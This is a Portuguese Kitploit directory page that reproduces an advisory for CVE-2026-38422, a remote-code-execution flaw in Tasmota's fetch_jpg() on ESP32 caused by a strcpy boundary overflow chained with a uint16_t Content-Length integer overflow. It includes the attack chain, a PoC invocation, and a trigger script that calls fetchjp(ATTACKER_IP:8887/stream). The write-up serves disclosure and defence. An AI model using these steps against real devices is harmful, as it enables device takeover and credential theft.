Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3) | Kitploit
Ferramentas/GitHubGitHub/sermikr0/cve-2026-38422
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityRemote Access ToolBinary Exploitation
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-38422: Execução Remota de Código via Estouros de Buffer Combinados no fetch_jpg() do Tasmota

CVE: CVE-2026-38422
Severidade: Crítica (CVSS 9.8)
Produto: Arendst Tasmota
Versão Afetada: <= 15.3.0.3
Arquivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Função: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Divulgação: Responsável — reportado ao Tasmota antes da publicação


Resumo

A função fetch_jpg() no driver de script do Tasmota (xdrv_10_scripter.ino) contém duas vulnerabilidades de corrupção de memória que se combinam, permitindo execução remota de código em dispositivos baseados em ESP32 rodando Tasmota <= 15.3.0.3:

  1. Fase 1 (caso 0): Estouro de strcpy() em um buffer fixo boundary[] de 40 bytes — corrompe memória heap adjacente, incluindo ponteiros de vtable do WiFiClient/HTTPClient (veja também CVE-2026-38426)
  2. Fase 2 (caso 2): Estouro de inteiro uint16_t no Content-Length — aloca um buffer subdimensionado causando corrupção do estado do fluxo (veja também CVE-2026-38427)

Usadas juntas em uma única sessão de ataque, essas duas primitivas maximizam a corrupção da heap e aumentam significativamente a probabilidade de alcançar execução arbitrária de código.


Cadeia de Vulnerabilidade

root@kitploit:~
Servidor MJPEG Atacante
       │
       │ Fase 1: Resposta HTTP 200 com string boundary longa
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ caracteres)
       │   → strcpy(boundary[40], 50_caracteres) → ESTOURO
       │   → Ponteiro vtable do WiFiClient parcialmente sobrescrito
       ▼
  Heap do ESP32 Corrompida
       │
       │ Fase 2: Quadro MJPEG com Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (estouro de inteiro)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes restam no fluxo → corrupção de heap/fluxo
       ▼
  Dupla Corrupção → RCE / DoS Garantido

Prova de Conceito

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

O servidor PoC:

  1. Aceita conexão do Tasmota (gatilho fetchjp())
  2. Fase 1: Envia HTTP 200 inicial com string boundary de 80 caracteres (estouro)
  3. Fase 2: Envia quadros MJPEG com Content-Length: 65537 (estouro de inteiro)

Veja CVE-2026-38422_poc.py para a implementação completa.


Acionamento via Script do Tasmota

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

O dispositivo deve estar executando um script do Tasmota usando fetchjp(). O atacante controla o servidor ao qual o dispositivo se conecta (ou realiza MITM em uma conexão existente).


Impacto

  • Confidencialidade: Alta — RCE no ESP32, acesso a segredos/credenciais do dispositivo
  • Integridade: Alta — controle total do dispositivo
  • Disponibilidade: Alta — loop de travamento/reinicialização garantido
  • Vetor de Ataque: Rede (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Pontuação CVSS: 9.8 Crítica

Dispositivos Afetados

Qualquer dispositivo Tasmota baseado em ESP32 rodando versão <= 15.3.0.3 com suporte a script habilitado e um script usando fetchjp() para conectar a um servidor MJPEG externo.


Linha do Tempo

  • 2026-03-29: Ambas as vulnerabilidades descobertas e reportadas à MITRE
  • 2026-03-29: CVE-2026-38422 atribuído
  • 2026-05-xx: Patch lançado pelo Tasmota (v15.3.0.4+)

Referências

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Relacionado: CVE-2026-38426 (estouro de strcpy)
  • Relacionado: CVE-2026-38427 (estouro de inteiro uint16_t)
Baixar ferramenta